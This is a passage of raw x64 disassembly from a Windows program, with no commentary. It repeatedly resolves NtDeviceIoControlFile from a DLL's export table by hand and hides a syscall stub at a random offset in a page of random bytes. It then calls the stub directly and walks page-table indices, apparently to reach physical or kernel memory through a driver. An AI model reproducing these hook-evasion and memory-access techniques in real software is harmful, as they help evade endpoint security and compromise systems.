mov dword [rbp + 0x806d4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x7f350]
call fcn.1400be1b0
lea rcx, [rbp + 0x7f350]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor edi, edi
nop word [rax + rax]
lea rcx, [rbp + 0x7f350]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0xa0fe0], rax
inc rdi
cmp rdi, 0x200
jl 0x1400641c0
mov r8d, 0x1000
lea rdx, [rbp + 0xa0fe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rdi, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xce0]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xce0], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc30]
lea rax, [rbp + 0x300]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x300]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1030]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xce0]
lea r9, [rbp + 0xce0]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x140065433
mov rsi, qword [rsp + 0x50]
test bl, 1
je 0x14006542e
movzx eax, bl
shr al, 7
test al, 1
je 0x140064322
mov rcx, qword [rbp + 0xc38]
movabs rax, 0xfffffc0000000
and ecx, 0x3fffffff
mov qword [rsp + 0x50], rsi
jmp 0x140064e93
mov rax, qword [rbp + 0xc38]
movabs rcx, 0xffffffffff000
shr rax, 0x15
and rbx, rcx
and eax, 0x1ff
mov qword [rbp + 0x338], 0
xor edx, edx
mov qword [rbp + 0x340], 0
xorps xmm0, xmm0
mov qword [rbp + 0x348], 0
lea rcx, [0x1401fded8]
mov qword [rbp + 0x328], 8
lea rax, [rbx + rax*8]
mov qword [rbp + 0x330], rax
lea r8d, [rdx + 1]
mov eax, dword [0x140322b68]
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc30], rax
movups xmmword [rbp + 0x1040], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov qword [rsp + 0x50], rsi
mov r14d, 0x5a4d
mov rdi, rax
test rax, rax
je 0x14006461e
cmp word [rax], r14w
jne 0x14006461e
movsxd rax, dword [rax + 0x3c]
mov qword [rsp + 0x50], rsi
cmp dword [rax + rdi], 0x4550
jne 0x14006461e
mov eax, dword [rax + rdi + 0x88]
mov qword [rsp + 0x50], rsi
add rax, rdi
je 0x14006461e
mov r12d, dword [rax + 0x1c]
xor ebx, ebx
mov r13d, dword [rax + 0x24]
add r12, rdi
mov r14d, dword [rax + 0x20]
add r13, rdi
mov r15d, dword [rax + 0x18]
add r14, rdi
mov qword [rsp + 0x50], rsi
test r15, r15
je 0x140064618
mov qword [rsp + 0x50], rsi
nop word [rax + rax]
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140064454
inc rbx
cmp rbx, r15
jb 0x140064430
jmp 0x140064618
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rdi
je 0x140064618
mov esi, dword [rcx + 4]
test esi, esi
js 0x140064618
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x61dc4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x60a40]
call fcn.1400be1b0
lea rcx, [rbp + 0x60a40]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
nop word [rax + rax]
lea rcx, [rbp + 0x60a40]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xa1fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x1400644f0
mov r8d, 0x1000
lea rdx, [rbp + 0xa1fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xce4]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xce4], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc30]
lea rax, [rbp + 0x328]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x328]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1040]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xce4]
lea r9, [rbp + 0xce4]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140065433
mov r14d, 0x5a4d
mov rbx, qword [rbp + 0x340]
test rbx, rbx
je 0x140065433
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc30], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x1400648a9
cmp word [rax], r14w
jne 0x1400648a9
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x1400648a9
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x1400648a9
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x1400648a9
nop word [rax + rax]
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x1400646e4
inc rdi
cmp rdi, r15
jb 0x1400646c0
jmp 0x1400648a9
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x1400648a9
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x1400648a9
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x82df4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x81a70]
call fcn.1400be1b0
lea rcx, [rbp + 0x81a70]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor edi, edi
nop word [rax + rax]
lea rcx, [rbp + 0x81a70]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0xa2fe0], rax
inc rdi
cmp rdi, 0x200
jl 0x140064780
mov r8d, 0x1000
lea rdx, [rbp + 0xa2fe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rdi, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xce8]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xce8], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc30]
lea rax, [rbp + 0x328]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x328]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1040]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xce8]
lea r9, [rbp + 0xce8]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x140065433
mov rsi, qword [rsp + 0x50]
test bl, 1
je 0x14006542e
movzx eax, bl
shr al, 7
test al, 1
je 0x1400648e2
mov rcx, qword [rbp + 0xc38]
movabs rax, 0x3ffffffe00000
and ecx, 0x1fffff
mov qword [rsp + 0x50], rsi
jmp 0x140064e93
mov rax, qword [rbp + 0xc38]
movabs rcx, 0x3fffffffff000
shr rax, 0xc
and rbx, rcx
and eax, 0x1ff
mov qword [rbp + 0x360], 0
xor edx, edx
mov qword [rbp + 0x368], 0
xorps xmm0, xmm0
mov qword [rbp + 0x370], 0
lea rcx, [0x1401fded8]
mov qword [rbp + 0x350], 8
lea rax, [rbx + rax*8]
mov qword [rbp + 0x358], rax
lea r8d, [rdx + 1]
mov eax, dword [0x140322b68]
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc30], rax
movups xmmword [rbp + 0x1050], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov qword [rsp + 0x50], rsi
mov r14d, 0x5a4d
mov rdi, rax
test rax, rax
je 0x140064bde
cmp word [rax], r14w
jne 0x140064bde
movsxd rax, dword [rax + 0x3c]
mov qword [rsp + 0x50], rsi
cmp dword [rax + rdi], 0x4550
jne 0x140064bde
mov eax, dword [rax + rdi + 0x88]
mov qword [rsp + 0x50], rsi
add rax, rdi
je 0x140064bde
mov r12d, dword [rax + 0x1c]
xor ebx, ebx
mov r13d, dword [rax + 0x24]
add r12, rdi
mov r14d, dword [rax + 0x20]
add r13, rdi
mov r15d, dword [rax + 0x18]
add r14, rdi
mov qword [rsp + 0x50], rsi
test r15, r15
je 0x140064bd8
mov qword [rsp + 0x50], rsi
nop word [rax + rax]
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140064a14
inc rbx
cmp rbx, r15
jb 0x1400649f0
jmp 0x140064bd8
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rdi
je 0x140064bd8
mov esi, dword [rcx + 4]
test esi, esi
js 0x140064bd8
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x84184], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x82e00]
call fcn.1400be1b0
lea rcx, [rbp + 0x82e00]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
nop word [rax + rax]
lea rcx, [rbp + 0x82e00]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xa3fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140064ab0
mov r8d, 0x1000
lea rdx, [rbp + 0xa3fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xcec]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xcec], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc30]
lea rax, [rbp + 0x350]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x350]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1050]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xcec]
lea r9, [rbp + 0xcec]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140065433
mov r14d, 0x5a4d
mov rbx, qword [rbp + 0x368]
test rbx, rbx
je 0x140065433
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc30], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x140064e69
cmp word [rax], r14w
jne 0x140064e69
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140064e69
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x140064e69
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x140064e69
nop word [rax + rax]
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x140064ca4
inc rdi
cmp rdi, r15
jb 0x140064c80
jmp 0x140064e69
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x140064e69
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x140064e69
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x85514], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x84190]
call fcn.1400be1b0
lea rcx, [rbp + 0x84190]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor edi, edi
nop word [rax + rax]
lea rcx, [rbp + 0x84190]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0xa4fe0], rax
inc rdi
cmp rdi, 0x200
jl 0x140064d40
mov r8d, 0x1000
lea rdx, [rbp + 0xa4fe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rdi, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xcf0]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xcf0], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc30]
lea rax, [rbp + 0x350]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x350]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1050]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xcf0]
lea r9, [rbp + 0xcf0]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x140065433
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x50], rdx
test bl, 1
je 0x140065427
mov rcx, qword [rbp + 0xc38]
movabs rax, 0x3fffffffff000
and ecx, 0xfff
and rbx, rax
add rcx, rbx
test rcx, rcx
je 0x140065433
mov rax, rcx
mov qword [rbp + 0x380], rcx
and eax, 0xfff
mov qword [rbp + 0x388], 0
xorps xmm0, xmm0
mov qword [rbp + 0x390], 0
mov r13d, 0x1000
mov qword [rbp + 0x398], 0
sub r13, rax
lea rcx, [0x1401fded8]
mov eax, dword [0x140322b68]
cmp r13, qword [rsp + 0x60]
mov dword [rsp + 0x58], eax
cmovae r13, qword [rsp + 0x60]
xor edx, edx
mov rax, qword [0x140329cf0]
movups xmmword [rbp + 0x1060], xmm0
mov qword [rbp + 0x378], r13
lea r8d, [rdx + 1]
mov qword [rbp + 0xc30], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x140065167
cmp word [rax], bx
jne 0x140065167
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140065167
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140065167
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140065162
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140064fa3
inc rbx
cmp rbx, r14
jb 0x140064f80
jmp 0x140065162
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140065162
mov esi, dword [rcx + 4]
test esi, esi
js 0x140065162
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x868a4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x85520]
call fcn.1400be1b0
lea rcx, [rbp + 0x85520]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor r15d, r15d
mov ebx, r15d
nop word [rax + rax]
lea rcx, [rbp + 0x85520]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xa5fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140065040
mov r8d, 0x1000
lea rdx, [rbp + 0xa5fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xcf4]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xcf4], r15d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc30]
lea rax, [rbp + 0x378]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x378]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1060]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xcf4]
lea r9, [rbp + 0xcf4]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], r15d
test ebx, ebx
js 0x140065419
mov ebx, 0x5a4d
mov rdx, qword [rbp + 0x390]
test rdx, rdx
je 0x140065419
lea rcx, [rbp + 0xc48]
mov r8, r13
add rcx, qword [rsp + 0x78]
call fcn.1401d15a0
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc30], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
test rax, rax
je 0x1400653e7
cmp word [rax], bx
jne 0x1400653e7
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x1400653e7
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x1400653e7
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x1400653e7
nop
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140065233
inc rbx
cmp rbx, r14
jb 0x140065210
jmp 0x1400653e7
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x1400653e7
mov esi, dword [rcx + 4]
test esi, esi
js 0x1400653e7
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x87c34], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x868b0]
call fcn.1400be1b0
lea rcx, [rbp + 0x868b0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x868b0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xa6fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x1400652c3
mov r8d, 0x1000
lea rdx, [rbp + 0xa6fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xcf8]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xcf8], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc30]
lea rax, [rbp + 0x378]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x378]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1060]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xcf8]
lea r9, [rbp + 0xcf8]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140065419
mov rsi, qword [rsp + 0x60]
mov rax, qword [rsp + 0x78]
sub rsi, r13
mov rbx, qword [rsp + 0x50]
add rax, r13
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x78], rax
test rsi, rsi
jne 0x140063820
mov qword [rsp + 0x50], rbx
mov eax, dword [rbp + 0xc48]
mov dword [rbp + 0xc48], eax
jmp 0x14006543d
mov qword [rsp + 0x50], rdx
jmp 0x140065433
mov qword [rsp + 0x50], rsi
mov dword [rbp + 0xc48], 0
xor ecx, ecx
mov qword [rbp + 0xc30], 0
mov qword [rbp + 0xc40], rcx
mov qword [rsp + 0x78], 8
nop word [rax + rax]
mov rax, qword [rsp + 0x50]
xor edx, edx
mov r13d, dword [0x140322b68]
add rax, 8
add rax, rcx
mov qword [rbp + 0x3b0], 0
mov rcx, qword [rsp + 0x68]
xorps xmm0, xmm0
mov qword [rsp + 0x60], rax
lea r8d, [rdx + 1]
shr rax, 0x27
and eax, 0x1ff
mov qword [rbp + 0x3b8], 0
mov qword [rbp + 0x3c0], 0
movups xmmword [rbp + 0x1070], xmm0
mov qword [rbp + 0x3a0], 8
lea rax, [rcx + rax*8]
mov qword [rbp + 0x3a8], rax
lea rcx, [0x1401fded8]
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc38], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r14d, 0x5a4d
test rax, rax
je 0x14006572e
cmp word [rax], r14w
jne 0x14006572e
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006572e
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006572e
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140065728
nop dword [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140065573
inc rbx
cmp rbx, r14
jb 0x140065550
jmp 0x140065728
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140065728
mov esi, dword [rcx + 4]
test esi, esi
js 0x140065728
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x88fc4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x87c40]
call fcn.1400be1b0
lea rcx, [rbp + 0x87c40]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x87c40]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xa7fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140065603
mov r8d, 0x1000
lea rdx, [rbp + 0xa7fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xcfc]
movsd qword [rbx], xmm0
mov edx, 0x1000
